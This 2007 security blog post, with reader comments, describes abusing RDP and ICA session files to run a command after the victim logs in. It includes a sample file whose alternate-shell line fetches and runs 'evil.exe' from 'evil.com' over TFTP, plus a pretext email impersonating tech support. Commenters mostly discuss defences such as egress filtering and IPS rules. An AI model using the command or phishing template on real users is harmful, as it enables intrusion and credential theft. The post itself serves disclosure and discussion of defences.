Remote Desktop Command Fixation Attacks

Wed, 10 Oct 2007 11:00:42 GMT
by pdp

The attack is rather simple. All the attacker needs to do is to compose a malicious RDP (for Windows Terminal Services) or ICA (for CITRIX) file and send it to the victim. The victim is persuaded to open the file by double clicking on it. When the connection is established, the user will enter their credentials to login and as such let the attacker in.

Both, RDP and ICA, contain information not only about what servers to connect to but also what applications to launch after successful authentication. These parameters can be modified to suit the attacker needs. In CITRIX we can specify the default shell command by using the parameter Application (i.e Application=calc.exe). In Windows Remote Desktop we can do exactly the same with the alternate shell (i.e alternate shell:s:cmd.exe) directive. Here follows a sample ICA file:

[WFClient]
Version=1

[ApplicationServers]
Connection To Citrix Server=

[Connection To Citrix Server]
InitialProgram=**some command here**
Address=_172.16.3.191_

ScreenPercent=0

In Windows Terminal Services, the same can be achieved with the following example:

screen mode id:i:1
desktopwidth:i:800
desktopheight:i:600
session bpp:i:16
full address:s:_172.16.3.191_
compression:i:1
keyboardhook:i:2
alternate shell:s:**some command here**
shell working directory:s:_C:\_
bitmapcachepersistenable:i:1

This is all that the attacker needs to know. Let's have a step-by-step look at the attack structure, shall we:
  1. Compose a malicious Remote Desktop session file: The following example instructs TFTP to connect to evil.com and retrieve a file called evil.exe. Once the download is completed, the attacker executes evil.exe and subsequently terminates the session: screen mode id:i:1 desktopwidth:i:800 desktopheight:i:600 session bpp:i:16 full address:s:172.16.3.191 compression:i:1 keyboardhook:i:2 alternate shell:s:cmd.exe /C "tftp -i evil.com GET evil.exe evil.exe & evil.exe" shell working directory:s:C:\ bitmapcachepersistenable:i:1

  2. Send email to the victim: Here the attacker uses his social engineering skills to persuade the victim into opening and authenticating the session file. This is how it is done:

    Hello John,

    This is Tim from Tech Department. I was informed that you have some problems with your remote desktop connectivity. I've attached a modified RDP file you can tryout and see if it works. Just double click on the file and login. Your domain credentials should work. Let me know if you have any problems.
    
    Tim O'Brian

    Tech Department

  3. Own it: The attacker notices a new entry in his TFTP log files. The operation was successful. Now he can take full advantage of his brand new asset. "Simple tricks always work."

This is it. This is what I would like to refer to as "Remote Desktop Command Fixation Attacks". They are simple, highly affective, unknown to system administrators (as of yet), and pretty vicious. Keep in mind that the same procedure apply to CITIRX as well.

Archived Comments

pdppdp
now when I am thinking this trick should be called Remote Desktop Shell Fixation Attacks
djtellerdjteller
What can we do about it ? -> Educate users.
pdppdp
djteller, :) yeh right. first of all you have to educate the administrators. What I am trying to show here is how easy it is sometimes to gain remote access without too much effort. The security community and industry in general is sooo much into vulnerability research that they forget to look at the most obvious, the most simplistic, and the most successful threats. Who needs 0days when Andrea Johnson, the secretary from 3rd floor, will unawarely let you in? Moreover, most people have never heard of Windows Terminal services. The don't know how they even look like. So, what's going to happen if the attacker just spawns a full-screen session on their desktop? They will probably think that somehow they logged out; type their username and password, and of course let the attacker in. Simple and effective.
rkdrkd
Filter emails and email content and in general traffic that contains RDP or ICA files. Yes it sounds simple, but it is almost impossible to implement.
I hate to be asking an obvious question but why is it that filtering *.rdp/*.ica (or whatever the ica extension is) is impossible? As far as I know Outlook 2007 (the client itself) strips this attachments by itself...
pdppdp
rkd, because the attacker may simply include a link to a remote RDP/ICA file which the user will click on. Of course it gets more suspicious but users will still fall for it. No to mention that RDP and ICA can be delivered to the target in multiple ways.
mvsmvs
Any email that urges you to "click this" is a potential attack vector. The barn door was opened when email morphed beyond delivering plain ASCII text. The solution is to block any email that is not plain ASCII. Since users cry when you take their candy away, computers will never be secure. End of story. Get used to it.
fazedfazed
hey i posted about something like this on my blog: http://fazed-darkstar.blogspot.com/2007/10/phishing-windows-passwords-with-citrix.html it basically rely's on social engineering. but this is a bit more indepth, nice!
Larry SeltzerLarry Seltzer
Before I saw rkd's message I went to test the Outlook attachment stripping on Outlook 2003 and it does not strip .rdp files. I see that the attack has a hard IP address in it, and of course the attacker would need to know either a name or address. In a corporation this is likely to be a gateway I guess and not a big secret. I also noticed the "working directory:s:C:\". Some of us don't have download and execute rights in our root directories. Is there a more elegant approach to this? Is %TEMP% supported here?
d4braind4brain
Hey, so great Image at the Top ;)And the tricks and infos too...
LonerVampLonerVamp
If you truly believe security in depth (defense in depth is the common usage), then what are you envisioning? That we have one perfect security measure that is unbreakable? I'm not sure about you, but with the rest of the security industry, it is pretty accepted that there is no silver bullet. We need and will always need layered defense in order to protect data and systems when one layer is thwarted. You might say that people will always be a weak link, and that could be true even in an environment with security in depth. In fact, security in depth is even more needed due to the human factor. If people can make stupid mistakes, put up roadblocks, nets, and pointy objects in their way so they don't stupidly make those mistakes... Perhaps you have a different definition of "security in depth," in which case I beg that you explain it so that everyone can move beyond focusing on that statement. Maybe we're really on the same page and just have different meanings to this rather common security term...
pdppdp
LonerVamp, I am putting a post now, which explains everything in more detail. Thanks.
Der KlempnerDer Klempner
I'am a little curious - why should my firewall policies allow to forward such outbound connections - and moreover - why should i expose my rdp/ica servers without additional protection (e.g. VPN/certificates) to the outside. Security comes with layers of it. Der Klempner
ScottScott
An easy way to defend this is with an IPS that will shun RDP traffic on 3389 or detecting RDP over a non standard port. There is a rule on Bleeding Snort to do this.
RogersRogers
Isn't most Citrix-servers set up to NOT allow users to install or execute unknown applications? Will the user be allowed to execute cmd.exe and download and run an unknown file?
ChanglinnChanglinn
Most terminal servers I set up are restricted too, so the user can't run cmd.exe and evil.exe, only a set of programs specified... of course one of those because of business requirements is Internet Explorer, so game over right there. It is an interesting exploit, but not one that would necessarily work 100% of the time. Could you just MIM them, ie change the citrix/rdp to connect to a server on your network through port 443, then you redirect and capture their user/pass.
JesusJesus
This is a perfect example of why firewalls should have egress filtering and blocking of executable files.